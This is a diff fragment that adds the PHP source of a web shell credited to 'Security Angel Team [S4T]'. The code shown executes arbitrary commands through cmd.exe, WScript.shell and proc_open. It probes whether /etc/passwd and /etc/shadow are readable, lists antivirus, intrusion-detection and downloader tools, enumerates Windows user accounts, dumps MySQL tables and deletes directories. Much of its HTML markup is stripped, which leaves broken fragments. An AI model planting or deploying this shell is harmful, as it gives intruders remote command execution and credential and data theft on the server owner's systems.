+			m('Program run has '.(!$a ? 'success' : 'fail'));
+		}
+		!$program && $program = 'c:\windows\system32\cmd.exe';
+		!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
+		formhead(array('title'=>'Execute Program'));
+		makehide('action','shell');
+		makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
+		p('
        ');
+		makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
+		makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
+		p('
        ');
+		formfoot();
+	}
+	formhead(array('title'=>'Execute Command'));
+	makehide('action','shell');
+	if (IS_WIN && IS_COM) {
+		$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
+		makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
+	}
+	p('
        ');
+	makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command)));
+	makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
+	p('
        ');
+	formfoot();
+
+	if ($command) {
+		p('
        ');
+		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
+			$wsh = new COM('WScript.shell');
+			$exec = $wsh->exec('cmd.exe /c '.$command);
+			$stdout = $exec->StdOut();
+			$stroutput = $stdout->ReadAll();
+			echo $stroutput;
+		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
+			$descriptorspec = array(
+			   0 => array('pipe', 'r'),
+			   1 => array('pipe', 'w'),
+			   2 => array('pipe', 'w')
+			);
+			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
+			if (is_resource($process)) {
+				fwrite($pipes[0], $command."\r\n");
+				fwrite($pipes[0], "exit\r\n");
+				fclose($pipes[0]);
+				while (!feof($pipes[1])) {
+					echo fgets($pipes[1], 1024);
+				}
+				fclose($pipes[1]);
+				while (!feof($pipes[2])) {
+					echo fgets($pipes[2], 1024);
+				}
+				fclose($pipes[2]);
+				proc_close($process);
+			}
+		} else {
+			echo(execute($command));
+		}
+		p('
        ');
+	}
+}//end shell
+
+elseif ($action == 'phpenv') {
+	$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
+	$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
+	!$dis_func && $dis_func = 'No';	
+	$info = array(
+		1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
+		2 => array('Server Domain',$_SERVER['SERVER_NAME']),
+		3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
+		4 => array('Server OS',PHP_OS),
+		5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
+		6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
+		7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
+		8 => array('PHP run mode',strtoupper(php_sapi_name())),
+		9 => array('The file path',__FILE__),
+
+		10 => array('PHP Version',PHP_VERSION),
+		11 => array('PHPINFO',(IS_PHPINFO ? 'Yes' : 'No')),
+		12 => array('Safe Mode',getcfg('safe_mode')),
+		13 => array('Administrator',$adminmail),
+		14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
+		15 => array('enable_dl',getcfg('enable_dl')),
+		16 => array('display_errors',getcfg('display_errors')),
+		17 => array('register_globals',getcfg('register_globals')),
+		18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
+		19 => array('memory_limit',getcfg('memory_limit')),
+		20 => array('post_max_size',getcfg('post_max_size')),
+		21 => array('upload_max_filesize',$upsize),
+		22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
+		23 => array('disable_functions',$dis_func),
+	);
+
+	if($phpvarname) {
+		m($phpvarname .' : '.getcfg($phpvarname));
+	}
+
+	formhead(array('title'=>'Server environment'));
+	makehide('action','phpenv');
+	makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
+	formfooter();
+
+	$hp = array(0=> 'Server', 1=> 'PHP');
+	for($a=0;$a<2;$a++) {
+		p('
        '.$hp[$a].' »
        ');
+		p('
          ');
+		if ($a==0) {
+			for($i=1;$i<=9;$i++) {
+				p('
        • '.$info[$i][0].':'.$info[$i][1].'
          • ');
+			}
+		} elseif ($a == 1) {
+			for($i=10;$i<=23;$i++) {
+				p('
        • '.$info[$i][0].':'.$info[$i][1].'
          • ');
+			}
+		}
+		p('
        ');
+	}
+}//end phpenv
+
+elseif ($action == 'secinfo') {
+	
+	secparam('Server software', @getenv('SERVER_SOFTWARE'));
+	secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
+	secparam('Open base dir', @ini_get('open_basedir'));
+	secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
+	secparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
+	secparam('cURL support', function_exists('curl_version')?'enabled':'no');
+	$temp=array();
+	if(function_exists('mysql_get_client_info'))
+		$temp[] = "MySql (".mysql_get_client_info().")";
+	if(function_exists('mssql_connect'))
+		$temp[] = "MSSQL";
+	if(function_exists('pg_connect'))
+		$temp[] = "PostgreSQL";
+	if(function_exists('oci_connect'))
+		$temp[] = "Oracle";
+	secparam('Supported databases', implode(', ', $temp));
+	
+	if( !IS_WIN ) {
+		$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
+		$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
+		$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
+		secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no');
+		secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no');
+		secparam('OS version', @file_get_contents('/proc/version'));
+		secparam('Distr name', @file_get_contents('/etc/issue.net'));
+		$safe_mode = @ini_get('safe_mode');
+		if(!$GLOBALS['safe_mode']) {
+			$temp=array();
+			foreach ($userful as $item)
+				if(which($item)){$temp[]=$item;}
+			secparam('Userful', implode(', ',$temp));
+			$temp=array();
+			foreach ($danger as $item)
+				if(which($item)){$temp[]=$item;}
+			secparam('Danger', implode(', ',$temp));
+			$temp=array();
+			foreach ($downloaders as $item) 
+				if(which($item)){$temp[]=$item;}
+			secparam('Downloaders', implode(', ',$temp));
+			secparam('Hosts', @file_get_contents('/etc/hosts'));
+			secparam('HDD space', execute('df -h'));
+			secparam('Mount options', @file_get_contents('/etc/fstab'));
+		}
+	} else {
+		secparam('OS Version',execute('ver'));
+		secparam('Account Settings',execute('net accounts'));
+		secparam('User Accounts',execute('net user'));
+		secparam('IP Configurate',execute('ipconfig -all'));
+	}
+}//end
+
+else {
+	m('Undefined Action');
+}
+
+?>
+
+
        
+	
+	Powered by  2011. Copyright (C) 2004-2011 Security Angel Team [S4T] All Rights Reserved.
+
        
+
+
+
+'.$n.' »');
+		p('
        ');
+		if(strpos($v, "\n") === false)
+			p($v.'
        ');
+		else
+			p('
        '.$v.'
        ');
+		p('
        ');
+	}
+}
+function m($msg) {
+	echo '
        ';
+	echo $msg;
+	echo '
        ';
+}
+function scookie($key, $value, $life = 0, $prefix = 1) {
+	global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife;
+	$key = ($prefix ? $cookiepre : '').$key;
+	$life = $life ? $life : $cookielife;
+	$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
+	setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport);
+}	
+function multi($num, $perpage, $curpage, $tablename) {
+	$multipage = '';
+	if($num > $perpage) {
+		$page = 10;
+		$offset = 5;
+		$pages = @ceil($num / $perpage);
+		if($page > $pages) {
+			$from = 1;
+			$to = $pages;
+		} else {
+			$from = $curpage - $offset;
+			$to = $curpage + $page - $offset - 1;
+			if($from < 1) {
+				$to = $curpage + 1 - $from;
+				$from = 1;
+				if(($to - $from) < $page && ($to - $from) < $pages) {
+					$to = $page;
+				}
+			} elseif($to > $pages) {
+				$from = $curpage - $pages + $to;
+				$to = $pages;
+				if(($to - $from) < $page && ($to - $from) < $pages) {
+					$from = $pages - $page + 1;
+				}
+			}
+		}
+		$multipage = ($curpage - $offset > 1 && $pages > $page ? 'First ' : '').($curpage > 1 ? 'Prev ' : '');
+		for($i = $from; $i <= $to; $i++) {
+			$multipage .= $i == $curpage ? $i.' ' : '['.$i.'] ';
+		}
+		$multipage .= ($curpage < $pages ? 'Next' : '').($to < $pages ? ' Last' : '');
+		$multipage = $multipage ? '
        Pages: '.$multipage.'
        ' : '';
+	}
+	return $multipage;
+}
+// 登陆入口
+function loginpage() {
+?>
+	
+	
+	Password: 
+	
+	
+	
+Can not connect to MySQL server');
+		exit;
+	}
+	if($link && $dbname) {
+		if (!@mysql_select_db($dbname, $link)) {
+			p('
        Database selected has error
        ');
+			exit;
+		}
+	}
+	if($link && mysql_get_server_info() > '4.1') {
+		if($charset && in_array(strtolower($charset), $charsetdb)) {
+			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
+		}
+	}
+	return $link;
+}
+
+// 去掉转义字符
+function s_array(&$array) {
+	if (is_array($array)) {
+		foreach ($array as $k => $v) {
+			$array[$k] = s_array($v);
+		}
+	} else if (is_string($array)) {
+		$array = stripslashes($array);
+	}
+	return $array;
+}
+
+// 清除HTML代码
+function html_clean($content) {
+	$content = htmlspecialchars($content);
+	$content = str_replace("\n", "
        ", $content);
+	$content = str_replace("  ", "  ", $content);
+	$content = str_replace("\t", "    ", $content);
+	return $content;
+}
+
+// 获取权限
+function getChmod($filepath){
+	return substr(base_convert(@fileperms($filepath),10,8),-4);
+}
+
+function getPerms($filepath) {
+	$mode = @fileperms($filepath);
+	if (($mode & 0xC000) === 0xC000) {$type = 's';}
+	elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
+	elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
+	elseif (($mode & 0x8000) === 0x8000) {$type = '-';} 
+	elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
+	elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
+	elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
+	else {$type = '?';}
+
+	$owner['read'] = ($mode & 00400) ? 'r' : '-'; 
+	$owner['write'] = ($mode & 00200) ? 'w' : '-'; 
+	$owner['execute'] = ($mode & 00100) ? 'x' : '-'; 
+	$group['read'] = ($mode & 00040) ? 'r' : '-'; 
+	$group['write'] = ($mode & 00020) ? 'w' : '-'; 
+	$group['execute'] = ($mode & 00010) ? 'x' : '-'; 
+	$world['read'] = ($mode & 00004) ? 'r' : '-'; 
+	$world['write'] = ($mode & 00002) ? 'w' : '-'; 
+	$world['execute'] = ($mode & 00001) ? 'x' : '-'; 
+
+	if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
+	if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
+	if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
+ 
+	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
+}
+
+function getUser($filepath)	{
+	if (function_exists('posix_getpwuid')) {
+		$array = @posix_getpwuid(@fileowner($filepath));
+		if ($array && is_array($array)) {
+			return ' / '.$array['name'].'';
+		}
+	}
+	return '';
+}
+
+// 删除目录
+function deltree($deldir) {
+	$mydir=@dir($deldir);	
+	while($file=$mydir->read())	{ 		
+		if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { 
+			@chmod($deldir.'/'.$file,0777);
+			deltree($deldir.'/'.$file); 
+		}
+		if (is_file($deldir.'/'.$file)) {
+			@chmod($deldir.'/'.$file,0777);
+			@unlink($deldir.'/'.$file);
+		}
+	} 
+	$mydir->close(); 
+	@chmod($deldir,0777);
+	return @rmdir($deldir) ? 1 : 0;
+}
+
+// 表格行间的背景色替换
+function bg() {
+	global $bgc;
+	return ($bgc++%2==0) ? 'alt1' : 'alt2';
+}
+
+// 获取当前的文件系统路径
+function getPath($scriptpath, $nowpath) {
+	if ($nowpath == '.') {
+		$nowpath = $scriptpath;
+	}
+	$nowpath = str_replace('\\', '/', $nowpath);
+	$nowpath = str_replace('//', '/', $nowpath);
+	if (substr($nowpath, -1) != '/') {
+		$nowpath = $nowpath.'/';
+	}
+	return $nowpath;
+}
+
+// 获取当前目录的上级目录
+function getUpPath($nowpath) {
+	$pathdb = explode('/', $nowpath);
+	$num = count($pathdb);
+	if ($num > 2) {
+		unset($pathdb[$num-1],$pathdb[$num-2]);
+	}
+	$uppath = implode('/', $pathdb).'/';
+	$uppath = str_replace('//', '/', $uppath);
+	return $uppath;
+}
+
+// 检查PHP配置参数
+function getcfg($varname) {
+	$result = get_cfg_var($varname);
+	if ($result == 0) {
+		return 'No';
+	} elseif ($result == 1) {
+		return 'Yes';
+	} else {
+		return $result;
+	}
+}
+
+// 检查函数情况
+function getfun($funName) {
+	return (false !== function_exists($funName)) ? 'Yes' : 'No';
+}
+
+// 获得文件扩展名
+function getext($file) {
+	$info = pathinfo($file);
+	return $info['extension'];
+}
+
+function GetWDirList($dir){
+	global $dirdata,$j,$nowpath;
+	!$j && $j=1;
+	if ($dh = opendir($dir)) {
+		while ($file = readdir($dh)) {
+			$f=str_replace('//','/',$dir.'/'.$file);
+			if($file!='.' && $file!='..' && is_dir($f)){
+				if (is_writable($f)) {
+					$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
+					$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
+					$dirdata[$j]['dirchmod']=getChmod($f);
+					$dirdata[$j]['dirperm']=getPerms($f);
+					$dirdata[$j]['dirlink']=$dir;
+					$dirdata[$j]['server_link']=$f;
+					$j++;
+				}
+				GetWDirList($f);
+			}
+		}
+		closedir($dh);
+		clearstatcache();
+		return $dirdata;
+	} else {
+		return array();
+	}
+}
+
+function GetWFileList($dir){
+	global $filedata,$j,$nowpath, $writabledb;
+	!$j && $j=1;
+	if ($dh = opendir($dir)) {
+		while ($file = readdir($dh)) {
+			$ext = getext($file);
+			$f=str_replace('//','/',$dir.'/'.$file);
+			if($file!='.' && $file!='..' && is_dir($f)){
+				GetWFileList($f);
+			} elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
+				if (is_writable($f)) {
+					$filedata[$j]['filename']=str_replace($nowpath,'',$f);
+					$filedata[$j]['size']=sizecount(@filesize($f));
+					$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
+					$filedata[$j]['filechmod']=getChmod($f);
+					$filedata[$j]['fileperm']=getPerms($f);
+					$filedata[$j]['fileowner']=getUser($f);
+					$filedata[$j]['dirlink']=$dir;
+					$filedata[$j]['server_link']=$f;
+					$j++;
+				}
+			}
+		}
+		closedir($dh);
+		clearstatcache();
+		return $filedata;
+	} else {
+		return array();
+	}
+}
+
+function GetSFileList($dir, $content, $re = 0) {
+	global $filedata,$j,$nowpath, $writabledb;
+	!$j && $j=1;
+	if ($dh = opendir($dir)) {
+		while ($file = readdir($dh)) {
+			$ext = getext($file);
+			$f=str_replace('//','/',$dir.'/'.$file);
+			if($file!='.' && $file!='..' && is_dir($f)){
+				GetSFileList($f, $content, $re = 0);
+			} elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
+				$find = 0;
+				if ($re) {
+					if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){
+						$find = 1;
+					}
+				} else {
+					if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) {
+						$find = 1;
+					}
+				}
+				if ($find) {
+					$filedata[$j]['filename']=str_replace($nowpath,'',$f);
+					$filedata[$j]['size']=sizecount(@filesize($f));
+					$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
+					$filedata[$j]['filechmod']=getChmod($f);
+					$filedata[$j]['fileperm']=getPerms($f);
+					$filedata[$j]['fileowner']=getUser($f);
+					$filedata[$j]['dirlink']=$dir;
+					$filedata[$j]['server_link']=$f;
+					$j++;
+				}
+			}
+		}
+		closedir($dh);
+		clearstatcache();
+		return $filedata;
+	} else {
+		return array();
+	}
+}
+
+function qy($sql) { 
+	global $mysqllink;
+	//echo $sql.'
        ';
+	$res = $error = '';
+	if(!$res = @mysql_query($sql,$mysqllink)) { 
+		return 0;
+	} else if(is_resource($res)) {
+		return 1; 
+	} else {
+		return 2;
+	}	
+	return 0;
+}
+
+function q($sql) { 
+	global $mysqllink;
+	return @mysql_query($sql,$mysqllink);
+}
+
+function fr($qy){
+	mysql_free_result($qy);
+}
+
+function sizecount($fileSize) {
+	$size = sprintf("%u", $fileSize);
+	if($size == 0) {
+		return '0 Bytes' ;
+	}
+	$sizename = array(' Bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB');
+	return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i];
+}
+// 备份数据库
+function sqldumptable($table, $fp=0) {
+	global $mysqllink;
+
+	$tabledump = "DROP TABLE IF EXISTS `$table`;\n";
+	$res = q("SHOW CREATE TABLE $table");
+	$create = mysql_fetch_row($res);
+	$tabledump .= $create[1].";\n\n";
+
+	if ($fp) {
+		fwrite($fp,$tabledump);
+	} else {
+		echo $tabledump;
+	}
+	$tabledump = '';
+	$rows = q("SELECT * FROM $table");
+	while ($row = mysql_fetch_assoc($rows)) {
+		foreach($row as $k=>$v) {
+			$row[$k] = "'".@mysql_real_escape_string($v)."'";
+		}
+		$tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."\n";
+		if ($fp) {
+			fwrite($fp,$tabledump);
+		} else {
+			echo $tabledump;
+		}
+	}
+	fwrite($fp,"\n\n");
+	fr($rows);
+}
+
+function p($str){
+	echo $str."\n";
+}
+
+function tbhead() {
+	p('');
+}
+function tbfoot(){
+	p('
        ');
+}
+
+function makehide($name,$value=''){
+	p("");
+}
+
+function makeinput($arg = array()){
+	$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
+	$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
+	!$arg['type'] && $arg['type'] = 'text';
+	$arg['title'] = $arg['title'] ? $arg['title'].'
        ' : '';
+	$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
+	if ($arg['newline']) {
+		p("
        $arg[title]
        ");
+	} else {
+		p("$arg[title]");
+	}
+}
+
+function makeselect($arg = array()){
+	if ($arg['onchange']) {
+		$onchange = 'onchange="'.$arg['onchange'].'"';
+	}
+	$arg['title'] = $arg['title'] ? $arg['title'] : '';
+	if ($arg['newline']) p('
        ');
+	p("$arg[title] ");
+	if ($arg['newline']) p('
        ');
+}
+function formhead($arg = array()) {
+	global $self;
+	!$arg['method'] && $arg['method'] = 'post';
+	!$arg['action'] && $arg['action'] = $self;
+	$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
+	!$arg['name'] && $arg['name'] = 'form1';
+	p("
        ");
+	if ($arg['title']) {
+		p('
        '.$arg['title'].' »
        ');
+	}
+}
+	
+function maketext($arg = array()){
+	!$arg['cols'] && $arg['cols'] = 100;
+	!$arg['rows'] && $arg['rows'] = 25;
+	$arg['title'] = $arg['title'] ? $arg['title'].'
        ' : '';
+	p("
        $arg[title]
        ");
+}
+
+function formfooter($name = ''){
+	!$name && $name = 'submit';
+	p('
        ');
+	p('
        ');
+}
+
+function goback(){
+	global $self, $nowpath;
+	p('
        ');
+}
+
+function formfoot(){
+	p('');
+}
+
+function encode_pass($pass) {
+	$pass = md5('angel'.$pass);
+	$pass = md5($pass.'angel');
+	$pass = md5('angel'.$pass.'angel');
+	return $pass;
+}
+
+function pr($s){
+	echo "
        ".print_r($s).'
        ';
+}
+
+?>
\ No newline at end of file